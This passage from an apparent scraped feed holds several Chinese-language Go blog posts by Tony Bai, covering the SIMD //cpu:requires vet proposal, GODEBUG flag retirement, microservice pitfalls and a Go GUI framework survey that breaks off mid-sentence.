团队，又准备了怎样的“应对之道”来化解这场危机？\n本文将深入探讨 Pike 的“担忧”所指向的、SIMD 带来的全新复杂性，并剖析 Go 团队是如何通过 //cpu:requires 这一“应对之道”，来尝试化解这场关于 Go 语言灵魂的冲突。\nPike 的“担忧”——SIMD 引入的“新复杂性” Rob Pike 的担忧，并非杞人忧天。simd 包的引入，从根本上挑战了 Go 语言长期以来所珍视的几个核心价值观。\n复杂性一：从“平台无关”到“硬件强绑定” Go 语言的一大魅力，在于其出色的平台无关性。同一份 Go 代码，无需修改，即可轻松交叉编译到不同的操作系统和 CPU 架构上。\n然而，simd 包中的内建函数 (intrinsics) 与特定的 CPU 指令集（如 Intel 的 AVX, AVX2, AVX-512 或 ARM 的 NEON）紧密绑定。这意味着，你的代码(一旦使用simd包)的正确性，第一次开始依赖于它所运行的具体硬件型号。\n这正是 Pike 所说的“不兼容性”：一段在你的开发机（拥有 AVX2 的新 CPU）上运行得好好的代码，部署到生产环境的一台旧服务器上时，可能会因为缺少 AVX2 支持而直接 panic。\n复杂性二：从“编译期安全”到“运行时意外” Go 的静态类型系统，旨在将尽可能多的错误扼杀在编译期。但 SIMD 的硬件依赖性，却引入了一种全新的、难以在编译期发现的错误类别。\n如果你在不支持 AVX2 的 CPU 上，调用了一个需要 AVX2 的函数，你的程序就会在运行时崩溃。更糟糕的是，这个问题可能在你的 CI 环境（通常拥有较新的 CPU）中无法发现，却在用户的生产环境中随机爆炸。这正是 Pike 所说的“运行时意外”。\n复杂性三：从“简约”到“不断膨胀的细节” simd 的世界充满了细节。仅 Intel 的 AVX-512 就有 21 个不同的特性标志(feature flags)。在一个复杂的 SIMD 程序中，开发者必须像一位硬件专家一样，手动追踪和验证每一个函数调用的前置条件。这与 Go 语言“让开发者专注于业务逻辑”的初衷背道而驰，也正是 Pike 所说的“不断膨胀的复杂性”。\nGo 团队的“应对之道”——静态的“安全缰绳” 面对这头充满力量但又危险的“性能猛兽”，Go 团队并非没有准备。由 Austin Clements 提出的配套提案（#76175），本质上也正是为了驯服这头猛兽而精心设计的“安全缰绳”，但依然被Rob Pike“批评”为复杂性的膨胀！\n我们先来看看其核心思想和内容吧。\n从提案76175的说明来看，我理解其核心思想是：承认并拥抱这种新的复杂性，然后提供一套强大的、自动化的工具，来帮助开发者静态地管理它。\n应对一：//cpu:requires 指令，让契约显式化 提案引入了一个新的指令注释，用于明确标记一个函数所依赖的 CPU 特性：\n//cpu:requires X86.AVX2 func MyAdvancedSIMDFunc(...) { // ... 内部使用了需要 AVX2 的 simd 内建函数 ... } 这个指令将隐式的硬件依赖，转变为一个显式的、可被工具读取的契约：“任何调用我的代码，都必须先确保 AVX2 可用。”\n应对二：vet 静态分析，将运行时 panic 变为编译期错误 提案将新增一个 cpu 的 vet 检查项。这个检查器会像一个不知疲倦的哨兵一样：\n扫描你的代码，寻找所有对带有 //cpu:requires 指令的函数的调用。 进行流分析 (Flow Analysis)：对于每一个调用点，vet 会向上追溯代码路径，检查在该调用发生之前，是否已经有一个能确保所需特性可用的 if simd.X86.AVX2() { … } 判断。 报告缺失的检查：如果 vet 发现一个调用路径，在没有进行充分的 CPU 特性检查的情况下，就调用了受保护的函数，它就会在编译期报告一个错误。 通过这种方式，一个潜在的、难以发现的运行时 panic，被成功地转变为一个明确的、易于修复的编译期错误。这正是 Go 团队应对“运行时意外”的核心策略。\n一场关于 Go 未来的深刻辩论 这个“应对之道”虽然精巧，但它本身也引发了更深层次的辩论。Ian Lance Taylor 等人提出了尖锐的问题：接口怎么办？为什么不让 vet 自动推断？\n这些问题揭示了 Go 团队在设计这个新特性时，所面临的艰难权衡：\n静态检查 vs. 动态现实：对于接口的动态调用，静态检查确实无能为力。这承认了新系统并非完美无缺，可能需要在未来引入动态检查作为补充。 自动化 vs. 控制权：让开发者手动添加 //cpu:requires 指令，虽然增加了少许工作量，但也为他们提供了更明确的控制权，并为编译器进行更激进的、基于特性的优化打开了大门。 然而，这场辩论中最耐人寻味的，并非这些技术细节，而是其背后所折射出的、Go 语言设计哲学的演进。\n两代人的对话——Pike 的“纯粹”与 Clements 的“务实” 这场关于 SIMD 的辩论，不仅仅是社区成员之间的讨论，更像是一场跨越时空的、Go 语言两代技术领导者之间的哲学对话。\nRob Pike，作为 Go 语言的“创世神”之一，他的设计哲学根植于贝尔实验室的 Unix 文化。其核心是追求一种极致的、甚至带有禁欲色彩的“纯粹简单性”。在他看来，语言应该提供一小组正交、可组合的核心原语，并尽可能地将复杂性（尤其是与特定硬件相关的复杂性）推离语言的核心。他的“担忧”，正是这种“纯粹主义”哲学，在面对一个不可避免要与硬件深度绑定的新特性时，所发出的本能警报。\nAustin Clements，作为 Go 团队的第三代技术负责人，他所面临的，是一个已经征服了云原生世界、拥有数百万开发者、并渴望在高性能计算等新领域继续攻城略地的 Go。他的设计哲学，必须在坚守 Go 核心价值观的同时，展现出一种面向未来的“工程务实主义”。\nClements 的 //cpu:requires 提案，正是这种务实主义下的一个体现。他没有像“原教旨主义者”那样，因为 SIMD “不那么 Go”就彻底拒绝它。相反，他选择了：\n承认现实：承认在 2025 年，为了追求极致性能，与硬件的深度交互是不可避免的。 管理复杂性，而非消灭它：既然无法消除这种新的复杂性，那就创造一套强大的、自动化的工具 (vet)，来帮助开发者安全地管理它。 拥抱演进：通过 GOEXPERIMENT 和清晰的提案，以一种开放、谨慎、可控的方式，引领 Go 语言向新的领域探索。 这场对话，在我看来并非新旧思想的“对错之争”，而是 Go 语言在不同历史阶段，面对不同挑战时，其设计哲学重心的自然演变——从“不惜一切代价保持纯粹”，演变为“在坚守核心原则的前提下，务实地拥抱和管理必要的复杂性”。\n小结：在性能的悬崖边，筑起静态的护栏 Rob Pike 的“担忧”是深刻且必要的。它代表了 Go 语言对自己核心哲学的珍视和警惕，是 Go 创始精神的回响。simd 包的引入，确实是 Go 语言在追求极致性能道路上，一次“不那么 Go”的冒险。它让我们前所未有地接近了底层硬件的“悬崖”。\n然而，Go 团队在 Austin Clements 领导下的“应对之道”——//cpu:requires 和与之配套的 vet 检查——同样充满了适应Go当前演进所需的务实智慧。它所揭示的，并非是 Go 设计哲学从“减法”到“加法”的根本转变，而是其处理和管理复杂性方式的演进。\n创始时代的哲学：在面对一种新的复杂性时，首选的策略是回避。如果一个东西很复杂，并且有更简单的替代方案，那么我们就不要它。这就是 Go 长期没有泛型、没有try-catch似的结构化异常处理的原因。\n现代的务实哲学：在面对一种无法回避的、且能带来巨大收益的复杂性时（如 SIMD 带来的性能），新的策略是约束与管理。Go 团队没有因为 SIMD 复杂就彻底拒绝它，而是选择接纳，并立刻着手构建一套强大的、自动化的工具，来将其“危险”的部分牢牢锁在静态检查的“笼子”里。\n这并非意味着 Go 开始拥抱复杂性，而是意味着 Go 找到了一个在不牺牲核心安全性的前提下，审慎地引入必要复杂性的新模式。vet 检查，就是我们为 simd 的强大性能所支付的“安全税”。\nGOEXPERIMENT=simd 即将到来。这场由 Pike 的“担忧”引发的、跨越两代领导者的深刻对话，最终是否能以一个典型的、现代 Go 风格的解决方案收场：在性能的悬崖边，我们不再是后退，而是选择勇敢地向前，并为自己筑起一道静态的安全护栏。？让我们拭目以待吧！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/06/proposal-simd-cpu-feature-vet-check/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-simd-cpu-feature-vet-check-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/06/proposal-simd-cpu-feature-vet-check\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/06/proposal-simd-cpu-feature-vet-check\"\u003ehttps://tonybai.com/2025/11/06/proposal-simd-cpu-feature-vet-check\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 1.26 将于11月份功能特性冻结，其最令人期待的实验特性之一，无疑是\u003ca href=\"https://tonybai.com/2025/08/22/go-simd-package-preview\"\u003esimd 包的引入\u003c/a\u003e。它承诺为 Go 开发者解锁 \u003ca href=\"https://tonybai.com/2024/07/21/simd-in-go/\"\u003eSIMD (Single Instruction, Multiple Data)\u003c/a\u003e 的强大能力，让我们能编写出榨干现代 CPU 向量化计算潜能的高性能代码。然而，在这片兴奋的浪潮之下，一个不和谐的声音却悄然响起，而这个声音，来自 Go 语言的联合创始人之一——\u003ca href=\"https://tonybai.com/2024/01/07/what-we-got-right-what-we-got-wrong/\"\u003e\u003cstrong\u003eRob Pike\u003c/strong\u003e\u003c/a\u003e。\u003c/p\u003e","title":"连 Rob Pike 都感到“担忧”：Go 1.26 SIMD 引入的新复杂性与应对之道"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/05/proposal-remove-godebug-flags\n大家好，我是Tony Bai。\n自 2012 年 Go 1 发布以来，“向后兼容性” (Go 1 compatibility guarantee) 不仅是一份承诺，更是 Go 语言赢得全球开发者信任的基石。然而，为了在不违背这份承诺的前提下修复 bug、引入新行为，Go 团队创造了一个强大的“安全阀”——GODEBUG 环境变量。\nGODEBUG 如同一台“时光机”，允许开发者在升级 Go 版本时，通过设置标志（如 GODEBUG=panicnil=1）来选择性地保留旧版本的行为，从而为代码迁移争取宝贵的时间。\n然而，13 年过去，这台“时光机”的开关变得越来越多。每一个 GODEBUG 标志，都是 Go 工具链中的一个“分叉点”，它们极大地增加了测试的复杂性和维护的负担，逐渐累积成了一笔沉重的“技术债”。\n近日，由 Go 核心团队成员 Robert Griesemer 发起的提案（#76163），正式为这笔技术债的“清算”，提出了一套清晰、系统的GODEBUG 标志移除策略。\n在本文中，我们就来深入解读这份提案的核心内容，看看 Go 团队计划如何为这些“历史包袱”设定清晰的“退休”路径。\n问题的核心：GODEBUG 的“历史包袱” GODEBUG 的初衷是好的，它为开发者提供了平滑过渡的“缓冲带”。但随着时间的推移，问题也日益凸显：\n维护负担：每一个 GODEBUG 标志都意味着 Go 编译器和运行时需要维护两套甚至多套逻辑，这使得代码库越来越复杂。 测试矩阵爆炸：理论上，为了全面测试 Go 工具链，需要覆盖所有 GODEBUG 标志的不同组合，这在实践中几乎是不可能的。 行为不可预测性：过多的标志降低了 Go 程序行为的可预测性。一个看似正常的程序，可能因为环境中一个不为人知的 GODEBUG 设置而表现异常。 因此，Go 团队有强烈的动机去逐步移除那些不再必要的 GODEBUG 标志，但前提是：不能对开发者生态造成过度的破坏。\n提案的核心：GODEBUG 的四种“身份”与“退休”路径 该提案首先将现有的 GODEBUG 标志根据其状态，划分为四种类型，并为每种类型规划了清晰的生命周期路径。\n类型一：已移除的标志 (Removed) 例如 x509sha1。对于这类标志，无需任何操作，但其历史应被记录在案，以防未来重名。\n类型二：有明确“最早移除日期”的标志 (Has Removal Date) 例如 gotypesalias（最早可在 Go 1.27 移除）。这类标志的处理路径最为清晰：\n预告期：在移除日期的前一个 Go 大版本中，该标志将被正式标记为**“已废弃” (deprecated)**。相关工具（如 gopls, staticcheck）将在用户使用非默认值时发出警告。同时，该版本的发布说明 (Release Notes) 会明确预告其即将在下一版本中移除。 移除期：如果在预告期内没有收到社区的强烈反对，该标志将在下一个大版本中被正式移除。移除后，尝试将其设置为非默认值将导致致命错误（构建错误或运行时 panic）。 延期机制：如果社区提出了强有力的证据，证明移除该标志会造成重大破坏，Go 团队会将移除日期推迟一个大版本周期（半年），并重新进入预告期。 类型三：无明确移除日期的“临时”标志 (No Removal Date) 这是数量最多的一类。提案建议为这类标志引入一个明确的“生命周期启动”机制：\n指定移除日期：Go 团队或社区成员可以随时为这类标志提议一个“最早移除日期”。该日期不得早于当前时间的半年之后，且不得早于该标志被引入的两年之后（以较晚者为准）。 进入类型二路径：一旦移除日期被社区接受并确定，该标志就自动进入了类型二的处理路径。 最近，针对一系列加密相关标志的移除提案（#75316），正是该策略的一次具体实践。\n类型四：明确标记为“永久”的标志 (Permanent) 例如 netdns。这类标志通常用于控制一些基础且不太可能改变的行为。移除这类标志的门槛最高：\n需要正式提案：必须提交一个独立的、论证充分的提案，详细分析移除该标志的必要性、对生态系统的影响，并提供稳健的缓解方案。 进入类型二路径：一旦提案被接受，该“永久”标志的身份就会被降级，并进入类型二的处理路径。 技术实现：如何让“废弃”和“移除”真正落地？ 提案还规划了具体的工具链支持，以确保这套策略能够有效执行。\nAPI 变更：在内部的 godebug 包中，将为每个标志增加 Status() 等方法，以表明其当前是活跃 (Active)、已废弃 (Deprecated) 还是已移除 (Removed)。 工具链警告：构建工具和测试框架将利用上述 API。当用户在 go.mod、go.work 或测试代码中，为一个“已废弃”的标志设置了非默认值时，将会收到明确的警告或错误。 强制执行：对于“已移除”的标志，任何试图设置非默认值的行为，都将导致致命错误。但为了兼容性，程序仍然可以查询这些标志，并会得到其最终的默认值（尽管该值已被忽略）。 防止重用：所有标志，即使被移除，其名称也将被永久记录在 internal/godebugs/table.go 中，以确保不会被未来的新标志重用，避免混淆。 对 Go 开发者的意义 这份提案的通过和实施，对 Go 社区意味着：\n更高的可预测性：Go 语言的行为将变得更加统一和可预测，减少了因环境差异导致“在我这里能跑，在你那里不行”的诡异问题。 清晰的迁移路线图：开发者将能提前一年甚至更久，就预知到某个兼容性行为即将发生变化，从而有充足的时间进行代码调整和规划。 更健康的语言生态：通过系统性地偿还“技术债”，Go 核心团队可以解放更多精力，投入到语言的未来发展中，而不是被无尽的向后兼容性细节所拖累。 小结 GODEBUG 是 Go 团队在坚守“向后兼容”承诺与推动语言进步之间，找到的一个充满智慧的平衡木。而这份全新的生命周期管理提案，则为这根平衡木安装了精准的“刻度”和明确的“终点”。它标志着 Go 语言的治理正变得更加成熟、透明和可持续。对于我们开发者而言，这意味着一个更稳定、更可预测，也更值得信赖的未来。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/05/proposal-remove-godebug-flags/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-remove-godebug-flags-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/05/proposal-remove-godebug-flags\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/05/proposal-remove-godebug-flags\"\u003ehttps://tonybai.com/2025/11/05/proposal-remove-godebug-flags\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e自 2012 年 Go 1 发布以来，“向后兼容性” (Go 1 compatibility guarantee) 不仅是一份承诺，更是 Go 语言赢得全球开发者信任的基石。然而，为了在不违背这份承诺的前提下修复 bug、引入新行为，Go 团队创造了一个强大的“安全阀”——\u003cstrong\u003eGODEBUG 环境变量\u003c/strong\u003e。\u003c/p\u003e","title":"GODEBUG 的“技术债”清算：Go 团队提出全新生命周期管理策略"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/04/microservice-disasters\n大家好，我是Tony Bai。\n2014 年，当 Martin Fowler 发表那篇定义性的文章后，“微服务”就从一个架构理念，迅速演变为席卷全球软件行业的技术浪潮。它承诺将庞大、笨重的单体应用，分解为小而美的、可独立开发和部署的服务，从而极大地提升团队的敏捷性和交付速度。\n然而，在这份美好的承诺背后，隐藏着怎样的代价？资深工程师 João Alves 在他的系列文章中，以亲身经历为蓝本，为我们整理了一份包含 10 个灾难的“血泪清单”。这份清单，系统性地揭示了从技术深坑到组织泥潭的各种陷阱，对于任何一个身处微服务浪潮中的团队来说，都极具警示价值。\n在这篇文章中，我们就将这份清单逐一展开，首先从那些最常见的“技术深坑”开始。\n技术深坑篇：当“分布式”的幽灵现身 灾难1：过小的服务与“服务综合征(Servicitis)” 微服务的魅力在于“小”，但这也很容易走向极端。当一个 20 人的团队维护着 50 甚至 100 个服务时，灾难便开始了。\n维护噩梦：想象一下，将一个安全库的升级，同步到几十个技术栈、架构各异的服务中。代码会腐烂，而过多的服务加速了这一过程。 分布式单体：当你发现部署一个新功能，需要同时上线服务 A 和服务 B 时，你并没有实现微服务，而是创造了一个更糟糕的“分布式单体”。 认知过载：开发一个功能，需要在 IDE 中同时打开多个项目才能理清逻辑。认知负荷呈指数级增长。 灾难2：失控的开发环境 在单体时代，搭建一个本地开发环境相对简单。但在微服务世界，这个问题变得极其棘手：\n成本：如何在云上为每个开发者启动 200 个服务及其依赖的基础设施？成本和时间都是巨大的问题。 同步性：开发环境的版本如何与快速迭代的生产环境保持同步？ 测试数据：如何为数十个服务准备一套连贯、一致的测试数据？ 这个问题极其昂贵且难以完美解决，它往往成为拖垮整个团队开发效率的“沼泽”。\n灾难3：脆弱的端到端测试 与开发环境类似，端到端（E2E）测试在微服务架构下变得异常脆弱。你最多只能证明：在某个特定时间点，由特定版本的服务和特定配置组成的系统，是能够工作的。 它无法给你真正的信心。更有效的方法，是采纳 Cindy Sridharan 提倡的“安全地在生产环境测试”，通过金丝雀发布、灰度部署等策略，在真实流量中验证变更。\n灾难4：巨大的共享数据库 这是从单体迁移到微服务时最常见的“捷径”，也是最危险的陷阱。它看似保留了数据一致性，却引入了：\n单点故障：数据库成为了整个系统的阿喀琉斯之踵。 隐形耦合：服务之间通过共享的数据表产生了事实上的紧密耦合。一个服务无意中修改了表结构或删除了一个索引，可能会对其他所有依赖该表的服务造成毁灭性打击。 扩展瓶颈：所有服务的负载最终都压在同一个数据库上。 灾难5 \u0026amp; 8：通往地狱的 API 网关 API 网关本是解耦前后端的利器，但在实践中，它极易演变成一个新的、CPU 密集型的单点故障。\n业务逻辑泄露：为了兼容旧版客户端，一些“小修补”被加入网关，日积月累，网关变成了堆满业务逻辑的“垃圾场”。 重度认证/授权：将所有服务的认证和授权逻辑集中在网关处理，使其不堪重负。 I/O 与线程池的误配：如果网关不理解下游服务是 CPU 密集型还是 I/O 密集型，错误的线程池和超时配置，将轻易地引发雪崩效应，拖垮整个系统。 灾难6：天真的超时与重试策略 分布式系统永远处于部分失败的状态。天真地处理超时和重试，是引发大规模故障的最常见原因。\n无脑增加超时：下游服务变慢时，简单地增加上游的 HTTP 调用超时，只会让慢请求在系统中停留更久，在流量高峰期迅速耗尽所有连接和线程。 惊群 (Thundering Herd)：当服务从故障中恢复时，如果没有实现带抖动 (Jitter) 的指数退避 (Exponential Backoff) 策略，成千上万的客户端会在同一瞬间发起重试，瞬间再次将服务击垮。 组织泥潭篇：当“人”的问题浮现 灾难7：服务数量 \u0026gt; 工程师数量 这是一个极其危险的信号。当一个工程师需要负责 4-5 个服务的开发、部署和 on-call 时，即使有良好的自动化，这也是一场“慢性灾难”。\n认知过载：每个服务都有自己的流水线、仪表盘、告警和依赖。人的精力是有限的。 “僵尸”服务：当团队重组时，这些服务很容易变成无人认领的“孤儿”。没人知道它们是干什么的，但谁也不敢关掉它们。 灾难9：失控的技术栈蔓延 在“工程师自治”的旗帜下，团队可能会失控地引入各种语言、框架和数据库。Kotlin、Vert.x、Go、Rust…… 技术栈变成了“主题公园”。\n运维黑洞：每一种新技术栈都意味着新的安全风险、新的运维模式和新的学习成本。 “单人依赖”：当唯一懂某个“小众”技术的工程师离职时，这个系统就变成了公司内部的一个“定时炸弹”。 灾难10：当组织架构成为你的系统架构 这是微服务世界中最昂贵、也最隐蔽的一种技术债，是“康威定律”的终极诅咒。当服务的所有权、基础设施、乃至 K8s 命名空间，都严格按照当前的团队结构进行划分时，灾难就已埋下伏笔。\n因为组织架构是易变的，而系统架构是持久的。\n当不可避免的组织重组发生时，原有的“支付团队”被一分为二，但他们共同拥有的服务和基础设施，却依然纠缠在旧的 AWS 账户和 K8s 命名空间中。此时，你只有两个痛苦的选择：要么忍受新的“依赖地狱”，要么开启一个长达六个月、不产生任何用户价值的迁移项目。\n小结：拥抱混乱，管理不确定性 João Alves 的观察是清醒而深刻的：多年过去，我们并没有真正“解决”这些问题，只是学会了与混乱共存。工具在进化，但分布式系统的根本性挑战——延迟、一致性、可观测性——并未消失。\n微服务架构的初衷，是解决组织问题。但当我们把它当作解决所有技术问题的“银弹”，并忽视其引入的分布式复杂性时，灾难便不可避免。\n这份清单的价值，在于它提醒我们，软件工程并非要消除不确定性，而是要优雅地管理不确定性。无论是微服务还是未来的 AI Agents，我们都应保持一份谦逊，认识到我们正在构建的是一个永远处于部分失败、不断演进的复杂系统。而学会识别并规避这些常见的灾难，正是我们作为工程师，从“能用”走向“卓越”的必经之路。\n资料链接：\nhttps://world.hey.com/joaoqalves/disasters-i-ve-seen-in-a-microservices-world-a9137a51 https://world.hey.com/joaoqalves/disasters-i-ve-seen-in-a-microservices-world-part-ii-9e6826bf 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/04/microservice-disasters/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/microservice-disasters-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/04/microservice-disasters\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/04/microservice-disasters\"\u003ehttps://tonybai.com/2025/11/04/microservice-disasters\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2014 年，当 Martin Fowler 发表那篇\u003ca href=\"https://www.martinfowler.com/articles/microservices.html\"\u003e定义性的文章\u003c/a\u003e后，“微服务”就从一个架构理念，迅速演变为席卷全球软件行业的技术浪潮。它承诺将庞大、笨重的单体应用，分解为小而美的、可独立开发和部署的服务，从而极大地提升团队的敏捷性和交付速度。\u003c/p\u003e\n\u003cp\u003e然而，在这份美好的承诺背后，隐藏着怎样的代价？资深工程师 João Alves 在他的系列文章中，以亲身经历为蓝本，为我们整理了一份包含 10 个灾难的“血泪清单”。这份清单，系统性地揭示了从技术深坑到组织泥潭的各种陷阱，对于任何一个身处微服务浪潮中的团队来说，都极具警示价值。\u003c/p\u003e","title":"微服务灾难清单：从技术深坑到组织泥潭的 10 个惨痛教训"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/03/go-gui-development-2025\n大家好，我是Tony Bai。\n“Go 语言能写桌面应用吗？”\n这个问题，如同一个幽灵，常年盘旋在 Go 社区的上空。作为一门在后端、云原生和命令行工具领域所向披靡的语言，Go 在图形用户界面（GUI）开发上的“短板”，一直是其支持者心中一个难以言说的痛。\n长期以来，Go GUI 开发似乎陷入了一种“绝境”：缺乏官方支持、生态碎片化、方案选择困难。然而，绝境之中，总有勇敢的“破局者”。社区的力量，正以多种不同的路径，顽强地探索着 Go GUI 的未来。\n本文将基于当前Go社区的最新现状，为你系统性地梳理 2025 年 Go GUI 开发的几大流派，剖析其现状、权衡其利弊，并展望未来的破局之路。\n“绝境”的根源：为何 Go GUI 如此之难？ 在探讨解决方案之前，我们必须先理解问题的根源。长期以来，Go GUI 开发的困境，主要源于几个核心因素：\nCGO 的“原罪”：几乎所有成熟的、跨平台的 GUI 工具包（如 Qt, GTK, wxWidgets）都是用 C/C++ 编写的。在 Go 中使用它们，就必须通过 CGO。这不仅打破了 Go 引以为傲的一键交叉编译能力，还带来了复杂的构建依赖和运行时的性能开销。 缺乏“亲儿子”：与 Java 的 Swing/JavaFX、.NET 的 WinForms/WPF/MAUI、或苹果生态的 SwiftUI 不同，Go 语言官方从未推出或背书过任何一个原生的 GUI 框架。 生态的“碎片化”：由于缺乏官方引领，Go社区涌现出了大量解决方案，但它们路径各异、成熟度参差不齐，让开发者在选择时感到困惑和不安。 “破局”的四大流派：2025 年的现实选择 尽管困难重重，但社区的探索从未停止。如今，Go GUI 的解决方案已逐渐演化为四大主流派系。\n流派一：Web 技术流 —— “曲线救国”的务实主义者 这是目前社区中最受欢迎、也最成熟的路径。其核心思想是：放弃原生 GUI 渲染，转而利用成熟的 Web 前端技术（HTML/CSS/JS）来构建界面，同时将 Go 作为强大的后端“心脏”。\n代表项目：Wails，目前稳定版是v2.x (go install github.com/wailsapp/wails/v2/cmd/wails@latest)。Star数量\u0026gt; 30K。 工作原理：这类框架通过在原生窗口中嵌入一个 Webview（通常是操作系统自带的，如 macOS 的 WebKit，Windows 的 WebView2），来渲染前端界面。Go 程序在后端运行，并通过一套轻量级的桥接机制，将 Go 的函数和方法暴露给前端的 JavaScript 调用，反之亦然。 优点：\nUI 开发体验极佳：你可以使用 React, Vue, Svelte 等任何你喜欢的前端框架，享受现代 Web 开发带来的丰富生态和高效体验。尤其适合既懂前端，又懂Go的小伙伴儿们。 完全摆脱 CGO：由于 Webview 是系统原生组件，整个构建过程是纯 Go 的，完美保留了 Go 的交叉编译优势。 前后端逻辑清晰分离。 缺点：\n资源占用：相比原生 GUI，Webview 会带来更高的内存占用。一个简单的“Hello World”应用，内存占用可能达到 100-200MB。 非原生体验：虽然可以做到高度相似，但 UI 的外观和交互细节，终究与操作系统原生的控件有所差异。 对于绝大多数需要构建现代化、美观界面的桌面应用，Wails 是当前 Go 社区的首选方案。它以可接受的资源开销，换来了无与伦比的开发效率和生态优势。\n流派二：自绘渲染流 —— Fyne 引领的“原生 Go-UI”探索 这一流派的追求最为“纯粹”和“雄心勃勃”：在 Go 语言中，从头开始构建一套完整的、跨平台的 GUI 工具包。 它的核心思想不是去“绑定”一个现有的 C/C++ 框架，成为一个Go binding/wrapper，而是直接站在底层图形 API 的肩膀上，“自绘” (self-drawing) 所有的 UI 控件。这一流派的代表项目是Fyne。\nFyne 的工作模式与 Web 技术流截然不同，它更接近于现代游戏引擎的渲染机制。其核心可以概括为以下几步：\nGo 世界的 UI 描述：开发者完全使用 Go 语言来定义 UI 的结构。你通过创建 widget.NewLabel, widget.NewButton 等对象，并将它们组合在 container.NewVBox, container.NewHBox 等布局容器中，来构建你的界面树。\n抽象渲染层：Fyne 内部拥有一套名为 “Canvas” 的抽象渲染接口。当 UI 树需要被绘制时，Fyne 会将其转换为一系列与平台无关的绘制指令（如“在这里画一个矩形”、“在那里渲染一段文本”）。\n驱动层与 CGO “薄层”：这是 Fyne 与底层操作系统交互的关键。Fyne 为每个平台都实现了一个驱动 (Driver)。这个驱动的核心职责，就是将上一步中抽象的绘制指令，“翻译”成特定平台图形 API 的调用。这个“翻译”过程，正是 Fyne 使用 CGO 的地方。\n* 在桌面端，它通过 CGO 调用 **OpenGL**（这是一个跨平台的图形标准）。 * 在移动端，它可能会调用 Android/iOS 的原生图形接口。 事件循环：Fyne 在后台运行一个事件循环，负责监听来自操作系统的事件（如鼠标点击、键盘输入、窗口大小改变），并将这些事件分发到 Go 世界中对应的控件上，触发你在 Go 代码中定义的响应逻辑。 与CGO 绑定流（如 therecipe/qt）的UI 的所有核心逻辑——渲染、布局、事件循环——都发生在C++ 